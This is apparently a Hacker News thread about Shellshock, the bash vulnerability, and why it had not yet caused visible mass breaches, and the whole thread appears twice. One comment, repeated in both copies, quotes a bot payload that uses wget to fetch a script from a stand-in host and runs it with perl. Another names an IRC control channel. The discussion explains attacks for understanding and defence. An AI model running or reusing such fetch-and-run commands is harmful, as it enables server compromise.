5 ms·

So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massi

by acbart 12y ago

So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?

yeahforbes 12y ago
I would guess that for (m)any breaches that have occurred so far, the owner might not have even checked for evidence nor have the thieves bragged yet. Time will tell.
jgrahamc 12y ago
My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable. I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.
- guylhem 12y ago
  Wrong. See my post above, along with the perl script that's used. It's controlled over IRC channel #apache on chaos.legend.rocks by the "god","ARZ","Zax" users.
- meowface 12y ago
  I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously. There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.
  - jgrahamc 12y ago
    Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.
    - meowface 12y ago
      My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.
aric 12y ago
You're not hearing about anything major because those who have major exploits aren't about to tell the world. Successful intrusion here means what it usually means: RATing any devices possible; patching those devices themselves; infecting the network when possible; staying quiet and gathering. Machines that were vulnerable and later fixed now should be considered with the same weight as having been rooted. They should be fully overhauled. That means new drives, even. Of course, we all know that'll never happen. The overwhelming majority of people and companies handle data recklessly.
wmil 12y ago
It's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web. However, CGI isn't common these days. I don't know any large sites still using it. So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web interfaces that could be vulnerable. It's not clear what the effect of that will be.
- vertex-four 12y ago
  Also a fair amount of internal stuff - issue trackers, online expense forms, whatever else.
meowface 12y ago
This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism. It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.
- brians 12y ago
  Some FastCGI frameworks helpfully set up environment variables in the web app---you know, just in case you run a sub-process and want it to work the same way it would have from a CGI. See Per-Request Environment Variables at http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intro.htm http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intr... These aren't ubiquitous---but it also isn't just CGI programs that expose this vulnerability.

by acbart 12y ago

yeahforbes 12y ago

I would guess that for (m)any breaches that have occurred so far, the owner might not have even checked for evidence nor have the thieves bragged yet. Time will tell.

jgrahamc 12y ago

My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable. I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.

guylhem 12y ago
Wrong. See my post above, along with the perl script that's used. It's controlled over IRC channel #apache on chaos.legend.rocks by the "god","ARZ","Zax" users.
meowface 12y ago
I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously. There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.
- jgrahamc 12y ago
  Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.
  - meowface 12y ago
    My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.

aric 12y ago

You're not hearing about anything major because those who have major exploits aren't about to tell the world. Successful intrusion here means what it usually means: RATing any devices possible; patching those devices themselves; infecting the network when possible; staying quiet and gathering. Machines that were vulnerable and later fixed now should be considered with the same weight as having been rooted. They should be fully overhauled. That means new drives, even. Of course, we all know that'll never happen. The overwhelming majority of people and companies handle data recklessly.

wmil 12y ago

It's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web. However, CGI isn't common these days. I don't know any large sites still using it. So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web interfaces that could be vulnerable. It's not clear what the effect of that will be.

vertex-four 12y ago
Also a fair amount of internal stuff - issue trackers, online expense forms, whatever else.

meowface 12y ago

This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism. It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.

brians 12y ago
Some FastCGI frameworks helpfully set up environment variables in the web app---you know, just in case you run a sub-process and want it to work the same way it would have from a CGI. See Per-Request Environment Variables at http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intro.htm http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intr... These aren't ubiquitous---but it also isn't just CGI programs that expose this vulnerability.